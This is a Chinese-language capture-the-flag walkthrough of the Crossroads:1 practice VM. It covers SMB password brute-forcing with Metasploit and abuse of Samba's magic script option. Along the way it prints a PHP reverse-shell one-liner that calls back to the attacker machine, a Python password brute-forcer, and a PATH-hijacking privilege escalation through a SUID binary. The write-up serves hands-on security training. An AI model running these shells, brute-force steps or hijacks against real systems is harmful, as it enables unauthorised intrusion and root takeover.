HackMyVM:CROSSROADS:1

  • HackMyVM:CROSSROADS:1已关闭评论
  • 27 views
  • A+

VulnHub:CROSSROADS:1

crossroads:1为3月份vulnhub和HackMyVM刚刚上架的一台靶机,模拟了一台带有漏洞的医疗网站web服务器,要攻破这台机器,我们的最终目标是拿下它的root权限,靶机涉及到的漏洞点有smb魔术脚本、本地suid文件提权、环境变量提权等。靶机比较新,斗胆下载来做了一下,笔者技术菜,下笔诚惶诚恐,若有什么遗漏点或者技术不到位之处还请各位师傅斧正。

网络结构:

环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机Crossroads:1组成

靶机ip:192.168.1.151

kali linux ip:192.168.1.137

靶机获取:https://download.vulnhub.com/crossroads/crossroads_vh.ova

https://downloads.hackmyvm.eu/crossroads.zip

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.151

wKg0C2Bj92ATwy9AACW06z7M965.png

端口服务扫描:

nmap -p 1-65535 -A 192.168.1.151 -sV -T4

如图,靶机除开放80端口外,还开放了139和445端口,开放samba服务

wKg0C2BjAqAUTkvAAGXK6PT6Ps574.png

访问samba服务,不允许匿名访问,先搁置

wKg0C2BjCCAKB8JAAAiQvZAt0721.png

目录爆破:

python dirsearch.py -u 192.168.1.151

wKg0C2BjDiATIOAACgzubkWSw929.png

仅扫描到两个可访问页面,其中index.html为网站主页,查看各链接跳转后,仅发现一个注册、登录页面,为普通用户登录,未发现后台登录页面

wKg0C2BjE2ADCqeAACWzGE7SM975.png

robots.txt给我们提示了一张图片crossroads.png

wKg0C2BjGKAFvTnAAARKUAXQc427.png

wKg0C2BjHSAKTWtAADBbf6RqcM769.png

使用enum4linux对靶机进行信息收集

enum4linux 192.168.1.151 -A

在收集结果中,提供了部分用户信息给我们,用户名albert

wKg0C2BjIeAPiOwAAAvO48RGoI616.png

漏洞挖掘及利用:

至此,在web服务中并没有看到什么后台管理页面,也未发现有明显的web漏洞点可供利用,需要从smb寻找思路

在之前的信息收集中,我们获得了一个用户名albert,这里可以尝试使用该用户名对smb服务进行爆破

使用msf的smb爆破模块,设置好地址、线程、字典等信息

```
(rootkali)-[~]

msfconsole

msf6 > use auxiliary/scanner/smb/smb_login

msf6 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.1.151

msf6 auxiliary(scanner/smb/smb_login) > set threads 100

msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt

msf6 auxiliary(scanner/smb/smb_login) > set VERBOSE false
```

show options

wKg0C2BjJyAJdCvAADXg7myyA571.png

运行msf,成功拿到albert的密码bradley1

wKg0C2BjK6AC3cvAABHOTQ2cVc213.png

连接smb服务,进入smbshare目录

wKg0C2BjMCAfzOIAABOFRj2O58747.png

在图中我们可以看到一个smb.conf文件,查看此文件,发现是smb的配置文件

wKg0C2BjNCAdV4lAAA3VdAFWP8624.png

如上图,我们可以看到magic script选项被设置了文件名smbscript.sh,magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件

利用这个特性,这里我们可以自己写一个smbscript.sh文件,利用smb上传,获取反弹shell

php -r '$sock=fsockopen("192.168.1.137",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

kali端监听端口

wKg0C2BjOGAAbSVAAARQomjVM000.png

使用smbclient上传文件

smbclient //192.168.1.151/smbshare/ -U albert

wKg0C2BjP2AQPNVAAApzuknDnI535.png

put smbscript.sh

wKg0C2BjQ6AAqovAAAgx8gA5Y218.png

反弹成功

wKg0C2BjSKADrrjAAAxpmBMNRA262.png

权限提升:

获取一个交互式shell,如图,我们是以albert的身份登录

python -c "import pty;pty.spawn('/bin/bash');"

wKg0C2BjTWASTVoAABEE1SGIDA889.png

利用smb上传一个本地信息收集脚本LinEnum.sh

wKg0C2BjUeAR1YQAAAiQpI0BOw143.png

运行该脚本,将运行结果保存至a.txt

wKg0C2BjVmAVj6TAAA8CvFHOI8065.png

再利用smb将结果下载至本地

wKg0C2BjWALJs6AAAkjLK6DA365.png

在脚本收集的信息中,我们可以看到在设置了suid的文件中有一个文件beroot,显然不是系统命令

wKg0C2BjYCAT0tHAACyEF5XfU051.png

到/home/albert目录下,运行该程序,提示我们输入root密码,结合脚本的名字beroot,这个程序应该是实现猜解root密码,且运行的时候会先进行清屏,推测调用了clear命令,暂时还不知道调用了什么其他的系统命令

wKg0C2BjZKAFM9iAAAw5HaXoUE041.png

除了这个suid文件外,暂时还没有发现什么其他可疑的漏洞点,系统内核的版本也相当高,为Debian 4.19.160-2,查不到什么系统漏洞。

此时还剩下一张图片我们没有使用,就是之前在robots.txt看到的crossroads.png,这个文件就存放在/home/albert目录下,将其移动至/home/albert/smbshare目录后,同样利用smb服务将其下载到本地

wKg0C2BjaiACUEJAAAnJuqKRQY391.png

使用binwalk查看此图片,并没有发现什么特殊信息

wKg0C2BjbmAcAauAAA2f6px5xA829.png

使用stegoveritas提取图片信息,stegoveritas是一款通用隐写术检测工具,可以提取一些常见隐写法隐藏的文件

获取链接:https://github.com/bannsec/stegoVeritas

wKg0C2BjdmAHASIAAAQyDApuHA700.png

wKg0C2BjfSADT9vAADzjdbW7I829.png

提取结果被放置在一个result目录下,可以看到提取出来很多文件

wKg0C2BjgaAXHSeAACXw5W3hbg261.png

查看第一个,是一个两千多行的字典,猜测beroot程序的密码就在此字典中

cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e

wKg0C2BjhuAc33AAAqpWAhWUk109.png


将其内容复制进txt文件

cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e > 1.txt

利用smb上传至靶机

wKg0C2Bji2AfYxuAAAYtqWacfY453.png

此时我们需要利用此字典中的密码来测试beroot程序,手动试的话太过繁琐,这里通过编写一个脚本来代替人工

```
/usr/bin/python3

import subprocess
import os
import time
import sys

path = '/usr/bin/echo'
content = "wrong password!!"
blank = " "
executable = "beroot"

def broot():
os.system("export TERM=xterm")
with open("1.txt","r",encoding="ISO-8859-1") as file:
words = file.read().splitlines() //读取字典条目

    for word in words:               //遍历字典
                execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable)                      //利用getoutput函数执行系统命令,运行beroot,并返回执行结果
                print(execute)
                if content not in execute:
                        print("[!]Password:" + word)      //打印正确密码
                        sys.exit(0)

broot()
```

同样使用smb服务将脚本b.py上传至靶机

wKg0C2BjkSAHhtDAAAXC5ReuzM761.png

之后将字典1.txt和脚本b.py移至beroot程序所在的目录/home/albert,运行

python3 b.py

wKg0C2BjlAG3PHAAAoO419Zgc297.png

如上图,密码停在了#1bitch,我们手动测试一下beroot,然而此时仍然提示wrong password

wKg0C2BjnKAIlhpAAAlR1nE7Rg810.png

我们将密码#1bitch从字典中去除,上传新字典再运行一次,这次密码停在了lemuel,且提示了我们其他信息:do ls and find root creds

wKg0C2BjoWAWLiRAAAruNsDq04977.png

我们再次手动进行测试,显示结果与脚本运行是一致的

wKg0C2BjqGAJSJ9AAApN60wXFU949.png

回显信息提示我们查看当前目录,寻找creds,我们照做,可以看到当前目录下多出了一个文件rootcreds

wKg0C2BjsCAaEmOAAAzYj1WEg465.png

查看此文件,给了我们一段文本,可能是root密码,看来之前用beroot测试出的并不是root密码

wKg0C2BjtSAZnjkAAAlG0DsHI074.png

su登录测试,成功提权至root

wKg0C2BjuqAa5EAAA59u2fjcM085.png

换个思路:

之前提到在运行beroot程序时,会先进行清屏操作,怀疑调用了clear程序,反汇编这个程序的话,会发现这个程序并没有直接实现功能,而是调用了/root目录下的一个beroot.sh程序

wKg0C2BjvuAPGX2AABLP6BEJkA779.png

而/root目录并没有给albert访问权限

wKg0C2BjwyAeBTmAAAjpYI1c3c853.png

这样我们只能盲猜它调用了clear命令,实际上做了清屏操作的话,大概率是调用了clear命令

我们这里可以借助环境变量来劫持命令进行提权,环境变量提权,顾名思义,使用环境变量进行提权,因为我们猜测beroot.sh运行时调用系统命令clear,而此程序又是以root身份运行,如若我们可以添加环境变量,我们就可以伪造一个clear程序添加进环境变量,beroot在调用命令时首先检索环境变量就会调用到我们伪造的程序,执行我们想要的命令,来达到提权的效果

首先伪造一个clear程序:

wKg0C2Bjx2AdycuAAAiEjuCLOk639.png

估计环境变量文件我们是没有权限更改的,但可以暂时更改环境变量

export PATH=/home/albert:$PATH

给clear添加权限

wKg0C2BjyATTyNAAAeSRdM2nI691.png

再次运行beroot,成功提权至root

wKg0C2BjFSAAQ42AAAffqMadW8579.png

相关推荐: CVE-2021-30465

声明 本文为译文,原文作者Etienne Champetier,原文来自http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ 前言 runc挂载地址可以通过Symlink-exchange进行交换,这导致了可…